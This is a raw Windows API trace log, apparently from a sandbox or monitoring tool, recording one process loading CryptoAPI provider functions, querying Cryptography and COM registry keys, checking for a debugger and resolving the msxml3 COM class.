06:37:11,725	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPAcquireContext FunctionAddress => 0x6800fb46 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,725	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPReleaseContext FunctionAddress => 0x6800f017 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,725	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGenKey FunctionAddress => 0x6800afb1 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDeriveKey FunctionAddress => 0x6800d086 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDestroyKey FunctionAddress => 0x68009460 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetKeyParam FunctionAddress => 0x68009638 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetKeyParam FunctionAddress => 0x68009a22 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPExportKey FunctionAddress => 0x6800ba24 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPImportKey FunctionAddress => 0x6800bf8a ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPEncrypt FunctionAddress => 0x68006c8e ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDecrypt FunctionAddress => 0x68007100 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPCreateHash FunctionAddress => 0x680074ba ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPHashData FunctionAddress => 0x68007e56 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPHashSessionKey FunctionAddress => 0x68007fa0 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDestroyHash FunctionAddress => 0x680082d1 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSignHash FunctionAddress => 0x6800da22 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPVerifySignature FunctionAddress => 0x6800df0a ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,735	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGenRandom FunctionAddress => 0x6800d7a7 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetUserKey FunctionAddress => 0x68009562 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetProvParam FunctionAddress => 0x68009e6d ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetProvParam FunctionAddress => 0x68009f9c ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPSetHashParam FunctionAddress => 0x6800a56f ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPGetHashParam FunctionAddress => 0x6800c891 ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDuplicateKey FunctionAddress => 0x6800aaae ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CPDuplicateHash FunctionAddress => 0x6800852e ModuleHandle => 0x68000000	SUCCESS	0x00000000
06:37:11,745	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography	SUCCESS	0x00000000
06:37:11,745	996	RegQueryValueExA	Handle => 0x000000e0 DataLength => 37 ValueName => MachineGuid Type => 1	SUCCESS	0x00000000
06:37:11,745	996	RegQueryValueExA	Handle => 0x000000e0 Data => 99d6ed61-80b2-42d4-8c72-45c08cbdb8ae\x00 ValueName => MachineGuid	SUCCESS	0x00000000
06:37:11,745	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,745	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\Offload	FAILURE	0x00000002
06:37:11,745	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\DESHashSessionKeyBackward	FAILURE	0x00000002
06:37:11,745	996	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
06:37:11,745	996	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllDecodeObjectEx	FAILURE	0x00000002
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000dc Registry => 0x000000e0 SubKey => CryptDllDecodeObjectEx	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 0 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.1.1 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.1.1	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 38 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00R\x00e\x00c\x00e\x00i\x00p\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 1 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.1 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.1	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 52 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00R\x00e\x00c\x00e\x00i\x00p\x00t\x00R\x00e\x00q\x00u\x00e\x00s\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 2 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.11 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.11	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 58 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00K\x00e\x00y\x00E\x00x\x00c\x00h\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 3 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.12 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.12	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 54 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00S\x00i\x00g\x00n\x00C\x00e\x00r\x00t\x00i\x00f\x00i\x00c\x00a\x00t\x00e\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 4 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.2 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.2	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 50 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00S\x00e\x00c\x00u\x00r\x00i\x00t\x00y\x00L\x00a\x00b\x00e\x00l\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 5 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.3 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.3	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 42 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00M\x00L\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 6 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.4 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e4 Registry => 0x000000dc SubKey => 1.2.840.113549.1.9.16.2.4	SUCCESS	0x00000000
06:37:11,755	996	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 46 MaxValueNameLength => 8 ValueCount => 2 MaxSubKeyLength => 0 KeyHandle => 0x000000e4 SubKeyCount => 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 0 Handle => 0x000000e4 Data => i\x00n\x00e\x00t\x00c\x00o\x00m\x00m\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName => Dll	SUCCESS	0x00000000
06:37:11,755	996	RegEnumValueW	Index => 1 Handle => 0x000000e4 Data => E\x00s\x00s\x00C\x00o\x00n\x00t\x00e\x00n\x00t\x00H\x00i\x00n\x00t\x00D\x00e\x00c\x00o\x00d\x00e\x00E\x00x\x00\x00\x00 ValueName => FuncName	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e4	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 7 Handle => 0x000000dc Name => 1.2.840.113549.1.9.16.2.4 Class =>	FAILURE	0x00000103
06:37:11,755	996	RegCloseKey	Handle => 0x000000dc	SUCCESS	0x00000000
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
06:37:11,755	996	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllImportPublicKeyInfoEx	FAILURE	0x00000002
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllImportPublicKeyInfoEx	FAILURE	0x00000002
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
06:37:11,755	996	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => Software\Microsoft\Cryptography\OID	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 0 Handle => 0x000000d8 Name => EncodingType 0 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 0	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllConvertPublicKeyInfo	FAILURE	0x00000002
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 1 Handle => 0x000000d8 Name => EncodingType 1 Class =>	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x000000e0 Registry => 0x000000d8 SubKey => EncodingType 1	SUCCESS	0x00000000
06:37:11,755	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x000000e0 SubKey => CryptDllConvertPublicKeyInfo	FAILURE	0x00000002
06:37:11,755	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,755	996	RegEnumKeyExA	Index => 2 Handle => 0x000000d8 Name => EncodingType 1 Class =>	FAILURE	0x00000103
06:37:11,755	996	RegCloseKey	Handle => 0x000000d8	SUCCESS	0x00000000
06:37:11,755	996	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => C:\WINDOWS\system32\rpcss.dll	FAILURE	3221225781	1 time
06:37:11,755	996	LdrLoadDll	Flags => 521332 BaseAddress => 0x5ad70000 FileName => C:\WINDOWS\system32\uxtheme.dll	SUCCESS	0x00000000
06:37:11,755	996	IsDebuggerPresent		FAILURE	0x00000000
06:37:11,755	996	LdrLoadDll	Flags => 521152 BaseAddress => 0x5ad70000 FileName => uxtheme.dll	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegQueryValueExW	Handle => 0x000000e0 Data => 1 ValueName => Com+Enabled	SUCCESS	0x00000000
06:37:11,765	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,765	996	LdrLoadDll	Flags => 522420 BaseAddress => 0x76fd0000 FileName => CLBCATQ.DLL	SUCCESS	0x00000000
06:37:11,765	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCatalogObject FunctionAddress => 0x76fd3f78 ModuleHandle => 0x76fd0000	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegQueryValueExW	Handle => 0x000000e0 Data => 1 ValueName => Com+Enabled	SUCCESS	0x00000000
06:37:11,765	996	RegCloseKey	Handle => 0x000000e0	SUCCESS	0x00000000
06:37:11,765	996	LdrLoadDll	Flags => 522420 BaseAddress => 0x76fd0000 FileName => CLBCATQ.DLL	SUCCESS	0x00000000
06:37:11,765	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetCatalogObject2 FunctionAddress => 0x76fd4017 ModuleHandle => 0x76fd0000	SUCCESS	0x00000000
06:37:11,765	996	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
06:37:11,765	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CLSIDFromOle1Class FunctionAddress => 0x775188b9 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
06:37:11,765	996	NtOpenKey	DesiredAccess => 33554432 KeyHandle => 0x000000d8 ObjectAttributes => \Registry\User\S-1-5-21-1935655697-1606980848-1060284298-1003_Classes	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x000000e0 Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x000000e4 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x000000ec ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x000000f4 Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
06:37:11,765	996	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x000000fc ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x00000104 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x0000010c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x00000114 Registry => 0x80000002 SubKey => Software\Classes\CLSID	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x0000011c Registry => 0x80000002 SubKey => Software\Classes	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x00000124 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	NtOpenKey	DesiredAccess => 16 KeyHandle => 0x0000012c ObjectAttributes => \REGISTRY\USER	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x00000134 Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x0000013c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x00000144 Registry => 0x80000002 SubKey => Software\Classes\CLSID	SUCCESS	0x00000000
06:37:11,765	996	RegOpenKeyExW	Handle => 0x0000014c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,765	996	RegQueryValueExW	Handle => 0x0000014c Data => ValueName => REGDBVersion	SUCCESS	0x00000000
06:37:11,765	996	RegCloseKey	Handle => 0x0000014c	SUCCESS	0x00000000
06:37:11,765	996	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32.DLL	SUCCESS	0x00000000
06:37:11,765	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InitializeCriticalSectionAndSpinCount FunctionAddress => 0x7c80b8b9 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:37:11,765	996	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\Registration\R000000000007.clb DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x0000014c	SUCCESS	0x00000000
06:37:11,765	996	NtQueryInformationFile	FileHandle => 0x0000014c FileInformation => \x00`\x00\x00\x00\x00\x00\x00\xf0W\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:37:11,765	996	NtSetInformationFile	FileHandle => 0x0000014c FileInformation =>	SUCCESS	0x00000000	1 time
06:37:11,765	996	NtReadFile	Buffer => COM+\x01\x00\x00\x00\x01\x00\x12\x00$\x00\x00\x00\x00\x01\x01\x00c\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F\x0e\x00\x00\x000\x01\x00\x00\xa0\x03\x00\x003_0\x00\xd0\x04\x00\x00\x0c\x00\x00\x003_1\x00\xdc\x04\x00\x00\x88\x02\x00\x003_2\x00d\x07\x00\x00<\x00\x00\x003_3\x00\xa0\x07\x00\x00\x90\x08\x00\x003_4\x000\x10\x00\x00(\x00\x00\x003_5\x00X\x10\x00\x00(\x00\x00\x003_6\x00\x80\x10\x00\x00(\x00\x00\x003_7\x00\xa8\x10\x00\x00\x88\x10\x00\x003_8\x000!\x00\x00\xa8 \x00\x003_9\x00\xd8*\x00\x00<\x04\x00\x003_10\x00\x00\x00\x00\x14/\x00\x00\x0c\x01\x00\x003_11\x00\x00\x00\x00 0\x00\x00\x1c\x00\x00\x003_12\x00\x00\x00\x00<0\x00\x00\x14\x00\x00\x003_16\x00\x00\x00\x00P0\x00\x00\x90\x0e\x00\x00#Schema\x00\xe0>\x00\x00 FileHandle => 0x0000014c	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x0000014c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
06:37:11,775	996	RegQueryValueExW	Handle => 0x0000014c Data => ValueName => REGDBVersion	SUCCESS	0x00000000
06:37:11,775	996	RegCloseKey	Handle => 0x0000014c	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x000000da SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => TreatAs	FAILURE	0x00000002
06:37:11,775	996	RegOpenKeyExW	Handle => 0x00000152 Registry => 0x000000da SubKey =>	SUCCESS	0x00000000
06:37:11,775	996	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
06:37:11,775	996	RegQueryValueExW	Handle => 0x00000156 DataLength => 1000 ValueName => InprocServer32 Type => 2976896	FAILURE	0x00000002
06:37:11,775	996	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
06:37:11,775	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocServerX86	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer32	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
06:37:11,785	996	RegQueryValueExW	Handle => 0x00000156 Data => C\x00:\x00\\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x00\\x00s\x00y\x00s\x00t\x00e\x00m\x003\x002\x00\\x00m\x00s\x00x\x00m\x00l\x003\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName =>	SUCCESS	0x00000000
06:37:11,785	996	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocHandler32	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocHandlerX86	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer32	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer	FAILURE	0x00000002
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
06:37:11,785	996	RegQueryValueExW	Handle => 0x00000156 DataLength => 100 ValueName => AppID Type => 522212	FAILURE	0x00000002
06:37:11,785	996	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
06:37:11,785	996	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
06:37:11,785	996	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
06:37:11,785	996	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
06:37:11,785	996	RegQueryValueExW	Handle => 0x00000156 Data => B\x00o\x00t\x00h\x00\x00\x00 ValueName => ThreadingModel	SUCCESS	0x00000000
06:37:11,795	996	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
06:37:11,795	996	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
06:37:11,795	996	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x80000000 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
06:37:11,795	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000156 SubKey => TreatAs	FAILURE	0x00000002
06:37:11,795	996	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
